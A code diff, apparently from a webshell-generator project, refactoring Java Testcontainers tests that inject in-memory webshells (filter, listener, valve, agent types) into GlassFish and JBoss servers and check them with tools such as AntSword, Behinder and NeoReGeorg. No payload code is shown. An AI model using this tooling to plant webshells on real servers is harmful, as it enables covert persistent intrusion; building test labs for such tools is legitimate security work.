private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"reajason/glassfish:6.2.6-jdk11",
|
||||
"/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V11)
|
||||
.assertLogs(false)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish6/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||
}
|
||||
|
||||
@BeforeAll
|
||||
static void setup() {
|
||||
container.waitingFor(Wait.forLogMessage(".*(deployed|done).*", 1));
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V11, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V11);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,94 +1,57 @@
|
||||
package com.reajason.javaweb.integration.memshell.glassfish;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.api.BeforeAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/12
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class GlassFish7ContainerTest {
|
||||
public static final String imageName = "reajason/glassfish:7.0.20-jdk17";
|
||||
static Network network = Network.newNetwork();
|
||||
public class GlassFish7ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.glassFish(
|
||||
"reajason/glassfish:7.0.20-jdk17",
|
||||
"/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.warFile(warJakartaFile)
|
||||
.jakarta(true)
|
||||
.targetJdkVersion(Opcodes.V17)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.unSupportedShellTools(List.of(ShellTool.AntSword))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warJakartaFile, "/usr/local/glassfish7/glassfish/domains/domain1/autodeploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(glassfishPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forLogMessage(".*JMXService.*", 1))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.GlassFish;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword));
|
||||
}
|
||||
|
||||
@BeforeAll
|
||||
static void setup() {
|
||||
container.waitingFor(Wait.forHttp("/app/test"));
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V17, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.JAKARTA_FILTER,
|
||||
ShellType.JAKARTA_LISTENER,
|
||||
ShellType.JAKARTA_VALVE,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.GlassFish, shellType, Opcodes.V17);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,89 +1,56 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
import java.util.Map;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Jboss423ContainerTest {
|
||||
public static final String imageName = "reajason/jboss:4-jdk6";
|
||||
static Network network = Network.newNetwork();
|
||||
public class Jboss423ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
|
||||
"reajason/jboss:4-jdk6",
|
||||
"/usr/local/jboss/server/default/deploy/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.env(Map.of("JAVA_OPTS",
|
||||
"-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000"))
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/jboss/server/default/deploy/app.war")
|
||||
.withEnv("JAVA_OPTS", "-Xms128m -Xmx512m -XX:MaxPermSize=128M -Dsun.rmi.dgc.client.gcInterval=3600000 -Dsun.rmi.dgc.server.gcInterval=3600000")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,91 +1,55 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellTool;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Jboss510ContainerTest {
|
||||
public static final String imageName = "reajason/jboss:5-jdk6";
|
||||
static Network network = Network.newNetwork();
|
||||
public class Jboss510ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
|
||||
"reajason/jboss:5-jdk6",
|
||||
"/usr/local/jboss/server/web/deploy/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.unSupportedShellTools(List.of(ShellTool.Behinder))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/jboss/server/web/deploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers,
|
||||
null, List.of(ShellTool.Behinder) // Behinder SocketTimeOuts
|
||||
);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
log.info(logs);
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,87 +1,53 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Jboss610ContainerTest {
|
||||
public static final String imageName = "reajason/jboss:6-jdk7";
|
||||
static Network network = Network.newNetwork();
|
||||
public class Jboss610ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
|
||||
"reajason/jboss:6-jdk7",
|
||||
"/usr/local/jboss/server/jbossweb-standalone/deploy/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_6)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/jboss/server/jbossweb-standalone/deploy/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_6, packer, container, python);
|
||||
}
|
||||
|
||||
@ParameterizedTest
|
||||
@ValueSource(strings = {ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,})
|
||||
void testProbeInject(String shellType) {
|
||||
String url = getUrl(container);
|
||||
ShellAssertion.testProbeInject(url, Server.JBoss, shellType, Opcodes.V1_6);
|
||||
@Override
|
||||
protected ContainerTestConfig getConfig() {
|
||||
return CONFIG;
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,90 +1,53 @@
|
||||
package com.reajason.javaweb.integration.memshell.jbossas;
|
||||
|
||||
import com.reajason.javaweb.Server;
|
||||
import com.reajason.javaweb.integration.ShellAssertion;
|
||||
import com.reajason.javaweb.integration.TestCasesProvider;
|
||||
import com.reajason.javaweb.integration.AbstractContainerTest;
|
||||
import com.reajason.javaweb.integration.ContainerTestConfig;
|
||||
import com.reajason.javaweb.memshell.ShellType;
|
||||
import com.reajason.javaweb.packer.Packers;
|
||||
import lombok.extern.slf4j.Slf4j;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.junit.jupiter.api.AfterAll;
|
||||
import org.junit.jupiter.params.ParameterizedTest;
|
||||
import org.junit.jupiter.params.provider.Arguments;
|
||||
import org.junit.jupiter.params.provider.MethodSource;
|
||||
import org.junit.jupiter.params.provider.ValueSource;
|
||||
import org.testcontainers.containers.GenericContainer;
|
||||
import org.testcontainers.containers.Network;
|
||||
import org.testcontainers.containers.wait.strategy.Wait;
|
||||
import org.testcontainers.images.builder.ImageFromDockerfile;
|
||||
import org.testcontainers.junit.jupiter.Container;
|
||||
import org.testcontainers.junit.jupiter.Testcontainers;
|
||||
|
||||
import java.util.List;
|
||||
import java.util.stream.Stream;
|
||||
|
||||
import static com.reajason.javaweb.integration.ContainerTool.*;
|
||||
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
|
||||
import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk;
|
||||
import static org.hamcrest.MatcherAssert.assertThat;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/12/10
|
||||
*/
|
||||
@Slf4j
|
||||
@Testcontainers
|
||||
public class Jboss711ContainerTest {
|
||||
public static final String imageName = "reajason/jboss:7-jdk7";
|
||||
static Network network = Network.newNetwork();
|
||||
public class Jboss711ContainerTest extends AbstractContainerTest {
|
||||
private static final ContainerTestConfig CONFIG = ContainerTestConfig.jboss(
|
||||
"reajason/jboss:7-jdk7",
|
||||
"/usr/local/jboss/standalone/deployments/app.war")
|
||||
.targetJdkVersion(Opcodes.V1_7)
|
||||
.supportedShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
))
|
||||
.testPackers(List.of(Packers.JSP))
|
||||
.probeShellTypes(List.of(
|
||||
ShellType.FILTER,
|
||||
ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE
|
||||
))
|
||||
.build();
|
||||
|
||||
static Network network = newNetwork();
|
||||
@Container
|
||||
public final static GenericContainer<?> python = new GenericContainer<>(new ImageFromDockerfile()
|
||||
.withDockerfile(neoGeorgDockerfile))
|
||||
.withNetwork(network);
|
||||
public static final GenericContainer<?> python = buildPythonContainer(network);
|
||||
|
||||
@Container
|
||||
public static final GenericContainer<?> container = new GenericContainer<>(imageName)
|
||||
.withCopyToContainer(warFile, "/usr/local/jboss/standalone/deployments/app.war")
|
||||
.withCopyToContainer(jattachFile, "/jattach")
|
||||
.withCopyToContainer(jbossPid, "/fetch_pid.sh")
|
||||
.withNetwork(network)
|
||||
.withNetworkAliases("app")
|
||||
.waitingFor(Wait.forHttp("/app"))
|
||||
.withExposedPorts(8080);
|
||||
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
|
||||
|
||||
/**
|
||||
* 找不到 Templates 类暂时先不测试反序列化
|
||||
*/
|
||||
static Stream<Arguments> casesProvider() {
|
||||
String server = Server.JBoss;
|
||||
List<String> supportedShellTypes = List.of(
|
||||
ShellType.FILTER, ShellType.LISTENER,
|
||||
ShellType.VALVE,
|
||||
ShellType.PROXY_VALVE,
|
||||
ShellType.AGENT_FILTER_CHAIN,
|
||||
ShellType.CATALINA_AGENT_CONTEXT_VALVE
|
||||
);
|
||||
List<Packers> testPackers = List.of(Packers.JSP);
|
||||
return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers);
|
||||
}
|
||||
|
||||
@AfterAll
|
||||
static void tearDown() {
|
||||
String logs = container.getLogs();
|
||||
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||
}
|
||||
|
||||
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||
@MethodSource("casesProvider")
|
||||
void test(String imageName, String shellType, String shellTool, Packers packer) {
|
||||
shellInjectIsOk(getUrl(container), Server.JBoss, shellType, shellTool, Opcodes.V1_7, packer, container, python);
|
||||
}
|
||||
